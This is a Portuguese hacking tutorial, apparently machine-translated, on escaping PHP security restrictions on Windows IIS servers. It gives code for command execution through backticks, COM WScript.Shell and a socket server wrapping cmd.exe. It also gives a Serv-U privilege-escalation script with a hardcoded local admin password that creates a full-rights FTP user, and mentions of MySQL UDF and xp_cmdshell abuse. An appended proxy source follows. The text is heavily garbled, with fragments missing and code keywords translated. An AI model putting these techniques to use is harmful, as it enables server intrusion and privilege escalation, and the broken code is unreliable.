Do WIN2000 ao WIN XP e depois ao WIN2003, a melhoria na segurança do servidor MS IIS é óbvia. No WIN2000, um PHP SHELL comum pode derrotá-lo; no WIN XP, mesmo que o modo de segurança esteja desativado, você não pode usar funções como system() para executar comandos do sistema, mas ainda podemos usar a função com() para romper; A partir do WIN 2003, mesmo que o IIS e o PHP estejam instalados por padrão, talvez você não consiga usar system() ou com() para derrotá-los. Neste momento, você terá que usar alguns novos métodos para fazer avanços.
1. Avanço de desabilitar_funções
No php-4.0.1 ou superior, uma função desabilitar_funções é introduzida no php.ini. Esta função é bastante útil e pode ser usada para desabilitar algumas funções. Por exemplo, se você adicionar disable_functions = passthru exec system popen ao php.ini, então, ao executar essas funções, você receberá um Aviso: system() foi desabilitado por motivos de segurança e o programa será encerrado. Mas não há como executar comandos do sistema. Como o PHP usa muitos recursos Perl, por exemplo, você também pode usar (`) para executar comandos. O código de exemplo é o seguinte:
<?$output = `ls -al`;echo "<pre>$output</pre>. ";?>
Diz-se que isso só pode ser evitado configurando safe_mode como ativado, mas a última vez que usei em um servidor estrangeiro, ele ainda falhou. As pessoas nem sempre têm tanta sorte :)
2.Ao
aplicar o dl( ) função
Quando qualquer um dos números de execução de comandos internos do PHP e '' não puder ser usado, você pode tentar dl(). Este método só pode ser usado com modo de segurança=off porque está desabilitado no modo de segurança. Usando dl() você pode chamar diretamente a função W32api Infelizmente, esta extensão foi movida para a biblioteca PECL e não está mais vinculada desde o PHP 5.1.0 ou inferior. A seguir está um exemplo do manual:
// Carrega esta extensão
dl("php_w32api.dll");
// Registra a função GetTickCount, de kernel32.dll
w32api_register_function("kernel32.dll",
"GetTickCount",
"long") ;
// Registra a função MessageBoxA, de User32.dll
w32api_register_function("User32.dll",
"MessageBoxA",
"long");
//
Obtém informações de tempo de inicialização
$ticks = GetTickCount();
text
$secs = floor ($ticks / 1000);
$mins = floor($secs / 60);
$hours = floor($mins / 60);
$str = sprintf("Você está usando seu computador há:".
"rn %d milissegundos ou rn %d segundos".
"ou rn %d minutos ourn %d horas %d minutos.",
$ticks,
$secs,
$mins
.,
$hours,
$ mins - ($hours*60));
// Exibe uma caixa de diálogo de mensagem com apenas um botão OK e o texto do tempo de inicialização
MessageBoxA
(NULL,
$str,
"Uptime Information",
MB_OK)
;
Ainda não entendi, tenho um conhecimento profundo de dl() e W32api, então não darei exemplos aleatórios para evitar enganar os leitores.
3. Aplicação de funções COM e .Net (Windows)
COM (Component Object Model) é uma especificação de software desenvolvida pela Microsoft. É usada para desenvolver componentes de software compilados e orientados a objetos. usado principalmente na plataforma Windows.
A versão Windows do PHP já possui suporte integrado para este módulo de extensão. Não há necessidade de carregar nenhuma biblioteca de extensão adicional para usar funções COM. Seu uso é semelhante à sintaxe para criação de uma classe em C++ ou Java, e o nome da classe COM é passado ao construtor como parâmetro. Por exemplo, use "WScript.Shell" em PHP para executar comandos do sistema:
$
cmd="E:/cert/admin/psexec.exe";
" ;
if(!$cmd1=$com->exec($cmd))
{
echo "não é possível executar()";
}
if(!$cmd2=$cmd1->stdout())
{
echo "não é possível executar stdout( ) ";
}
if(!$cmd3=$cmd2->readall())
{
echo "can not readall()";
}
echo $cmd3;
?>
A Figura 1 é um exemplo que escrevi para executar psexec.exe.
O significado deste código é exatamente o mesmo do ASP. Claro, você também pode chamar "ADODB.Connection" como ASP. Usando este componente combinado com a vulnerabilidade de estouro do jet2, você poderá obter um Shell no PHP Saft. modo = LIGADO.
//cria a conexão com o banco de dados
$conn = new COM("ADODB.Connection");
$dsn = "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=" . realpath("mydb.mdb")
; conn->Open($dsn);
//puxar os dados através da string SQL
$
rs=
$conn->Execute
("selecionar clientes da web");
claro, requer o suporte de ".Net runtime", e este é um módulo experimental de PHP que ainda não está totalmente funcional, então não vou discutir isso aqui.
4. Aplicação da função Java()
Este método é adequado para modo de segurança = ativado.
Para usar o servidor do módulo JAVA, você deve instalar umamáquina
virtual Java com antecedência e ativar a opção with-java durante a instalação e configuração do PHP. O código é o seguinte:
[JAVA]
;
java.class.path = .php_java.jar
;JDK path
;Java.home = f:jdk1.3.0
;Caminho para a máquina virtual
;Java.library=f:jdk1.3.0jrebinhostspotjvm .dll
é o mesmo que COM. Para criar uma classe em Java (não apenas JavaBeans) basta passar o nome da classe JAVA como parâmetro para o construtor. Aqui está um exemplo do manual:
// Este exemplo destina-se apenas a ser executado como um CGI.
$
frame = new Java('java.awt.Frame', 'PHP');
awt.Button', 'Olá mundo Java!');
$frame->add('Norte', $button)
;$frame->validate(
)
;
;
$thread = new Java('java.lang.Thread');
$thread->sleep(10000);
$
frame->dispose()
;
in Não há necessidade de discutir tanto.
5. Aplicação da função socket()
Socket é um módulo extremamente poderoso em PHP Se você usar uma interface abstrata de alto nível (socket aberto pelas funções fsockopen() e psockopen), não será necessário abrir "php_sockets.dll". de. Mas se você quiser usar o bloco de função de soquete completo, você deve configurá-lo assim no php.ini:
; Windows Extensions
; Observe que o suporte a MySQL e ODBC agora está integrado, então nenhuma dll é necessária para isso
……..
; Remova a seguinte frase O ponto e vírgula na frente
; extension=php_sockets.dll
usa o bloco de função de soquete do PHP para implementar encaminhamento/redirecionamento de porta, detecção de pacotes, overflow local e outras funções. Além disso, também pode ser usado para construir um servidor TCP/UDP. Ao mesmo tempo, acho que também é a melhor maneira de romper a política de segurança do servidor. A seguir está um exemplo de abertura de uma porta no servidor para construir um servidor TCP. Você pode usá-lo para agrupar o cmd.exe do servidor:
//Construa um serviço TCP no servidor
//Este exemplo requer o suporte de php_sockets.dll.
//Após a execução Você pode usar "telnet 127.0.0.1 1020" para conectar
error_reporting(E_ALL);
/*Permitir que
o script fique esperando por conexões */
set_time_limit(0);
o que estamos obtendo
* conforme chega. */
ob_implicit_flush();
//Vincular IP e porta no servidor
$address = '127.0.0.1';
$
port = 1020;
SOCK_STREAM, SOL_TCP) ) < 0) {
echo "socket_create() falhou: razão: " . socket_strerror($sock)
}
if (($ret = socket_bind($sock, $address, $port)) < 0) {
echo "socket_bind() falhou: motivo: " . socket_strerror($ret)
}
if (($ret = socket_listen($sock, 5)) < 0) {
echo "socket_listen(). falhou: motivo: " . socket_strerror($ret) . "n";
}
do {
if (($msgsock = socket_accept($sock)) < 0) {
echo "socket_accept() falhou: motivo: " .socket_strerror($
msgsock)
. " n";
break;
}
/* Enviar instruções */
$msg = "nBem-vindo ao servidor de teste PHP. n" .
shutdown'. n";
socket_write($msgsock, $msg, strlen($msg));
do {
if (false === socket_recv($msgsock, $buf, 1024, 0)) {
echo "socket_read() falhou : motivo: " . socket_strerror($ret) . "n";
break 2;
}
if (!$buf = trim($buf)) {
continue;
}
if ($buf == 'quit') {
break;
}
if ($buf == 'desligamento') {
socket_close($msgsock);
$talkback
= "PHP
: Você disse '$buf'.n"
;
));
echo "$bufn";
//O seguinte processa o buf recebido
/
*por exemplo:
$buf="cmd.exe /c netstat –an";
r');
While ($read=
fgets($pp, 2096))
echo $read;
pclose
($pp);
while(
true
);
sock);
?>
Na verdade, muitos hosts não carregam php_sockets.dll Felizmente, a função "fsockopen" que não requer suporte ao módulo de soquete é suficiente para usarmos. Porque enquanto houver "fsockopen", podemos ler e escrever livremente portas nesta máquina que não estão abertas ao mundo exterior. Usar fsockopen para ler e escrever a porta de gerenciamento local 43958 de serv-u (nota: esta porta não pode ser conectada externamente) para escalonamento de privilégios é um exemplo típico:
$adminuser="LocalAdministrator"
$adminpass=" #l@$ak#; .lk;0@P ”;
$adminport=" 43958";
$
fp = fsockopen ("127.0.0.1", $adminport, $errno, $errstr, 8)
;
$errno)
n";
} else {
//$shellcode pode ser escrito
// fputs ($fp, $shellcode);
fputs ($fp, "USER ".$adminuser."rn");
sleep ( 1);
fputs ($fp, "PASS ".$adminpass.
"rn");
sleep
fputs
($fp, "MANUTENÇÃO DO SITErn");
$fp, "-SETUSERSETUPrn");
fputs(
$fp, "-IP=".$addr."rn");
rn");
fputs ($fp, "-User=".$user."rn");
fputs ($fp, "-Password=".$password."rn") ;
fputs ($fp, "-HomeDir=".$homedir."rn");
fputs ($fp,
"-LoginMesFile=rn");
rn");
fputs ($fp, "-RelPaths=0rn");
fputs ($fp, "-NeedSecure=0rn");
fputs ($fp, "-HideHidden=0 rn");
fputs ($fp, "-AlwaysAllowLogin=0rn");
fputs ($fp, "-ChangePassword=1rn");
fputs ($fp, "-QuotaEnable= 0rn");
fputs ($fp, "-MaxUsersLoginPerIP=-1rn");
fputs ($fp, "-SpeedLimitUp=-1rn");
fputs ($fp, " -SpeedLimitDown=-1rn");
fputs ($fp, "-MaxNrUsers=-1rn");
fputs ($fp, "-IdleTimeOut=600rn");
fputs ($ fp, "-SessionTimeOut=-1rn");
fputs
($fp, "-Expire=0rn
");
($fp, "-RatioDown=1rn");
fputs ($fp, "-RatiosCredit=0rn
");
fputs ($fp, "-QuotaMaximum=0rn");
fputs ($fp, "-Maintenance=
Systemrn");
;
fputs ($fp, "-Ratios=Nonern");
fputs ($
fp, " Access=".$homedir."|RWAMELCDPrn");
n");
sleep (1);
while (!feof($fp)) {
echo fgets ($fp, 128);
}
}
?>
Você também pode usar fsockopen para escrever um proxy HTTP para acessar a rede externa ou o computador local. Tenho um HTTPProxy completo (Figura 4) com um código longo. Os leitores interessados podem dar uma olhada.
6. A interface MYSQL/MSSQL
é diferente do Linux porque o mysql/MSSQL no Windows geralmente é executado como administrador do sistema. Portanto, desde que você consiga obter a senha root/sa no banco de dados SQL local, você pode usá-la diretamente. . PHP se conecta ao banco de dados para executar comandos do sistema.
A execução de comandos do sistema no Mysql requer a exploração da vulnerabilidade da função definida pelo usuário "MySQL UDF Dynamic Library". No MSSQL, desde que você se conecte ao banco de dados, você pode chamar diretamente o comando de execução estendido "master..xp_cmdshell". As permissões são, obviamente, permissões do sistema.
Para resumir: Devido às diferentes versões do sistema, IIS e PHP, os métodos inovadores mencionados acima podem mudar. O PHP também tem muitas funções estendidas que podem ser usadas. romper as restrições da política de segurança do sistema!
Em anexo está o código proxy.php
error_reporting(E_ALL);
/*
// Este programa é software livre; você pode redistribuí-lo e/ou
// modificá-lo sob os termos da Licença Pública Geral GNU
// conforme publicada pelo Software Livre; Foundation; ou versão 2
// da Licença, ou (a seu critério) qualquer versão posterior
//
// Este programa é distribuído na esperança de que seja útil,
// mas SEM QUALQUER GARANTIA; de
// COMERCIALIZAÇÃO ou ADEQUAÇÃO A UM PROPÓSITO ESPECÍFICO Consulte a
//
Licença Pública Geral GNU para obter mais detalhes.
Se não, escreva
uma cópia da Licença Pública Geral GNU
.para o Software Livre
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, EUA
//---------------------
.----- --------------------------------------------- --
// Classe: PHProxy
// Autor: ultimategamer00 (Abdullah A.)
// Última modificação: 18h28 22/06/2004
*/
function __stripslashes($str)
{
return get_magic_quotes_gpc() ? : $str;
}
if (!function_exists('str_rot13'))
{
function str_rot13($str)
{
estático $alpha = array('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',
'nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM');
$str, $alfa[0],
$alpha[1
] );
classe
PHProxy
{
var
$allowed_hosts =
array
(
'include_form' => 1,
'
remove_scripts' =>1
, 'accept_cookies' =>1
,
'show_images
'
=>1
, 'show_referer' => 1);
resposta_body;
function
PHProxy( $flags = 'anterior')
{
$
this-
>version=
'0.2'
;
$this->url_segments ['query
']) ??" : '') . " HTTP/1.0rn"
;
-Agente: Mozilla/ 4.0 (compatível; MSIE 6.0; Windows NT 5.1)rn";
$headers .= "Aceitar: text/xml, application/xml, application/xhtml+xml, text/html q=0.9;
, texto/simples; q=0,8, vídeo/x-mng, imagem/png,
imagem/jpeg, imagem/gif; q=0,2, */*;
: closer n";
if ($this->flags['show_referer'] == 1)
{
$headers .= "Referer: rn";
}
$cookies = $this->get_cookies();
$headers .= $ cookies != '' ? "Cookie: $cookiesrn" : '';
if (
function set_request_headers()
{
$headers = " " . (isset($this->url_segments['query' ]) ? "? " : '') . " HTTP/1.0rn";
$headers
.= "Host: :rn";
MSIE 6.0; Windows NT 5.1)rn";
$headers .= "Aceitar: text/xml, application/xml, application/xhtml+xml, text/html;q=0.9, text/plain;q=0.8, video/x-mng , imagem/png, imagem/jpeg, imagem/gif;q=0.2,*/*;q=0.1rn";
$headers .= "Conexão: fecharrn";
if ($this-> flags['show_referer'] == 1)
{
$headers .= "Referer: rn";
$
cookies = $this->get_cookies()
; ' ? "Biscoito: $cookiesrn" : ''
se (
;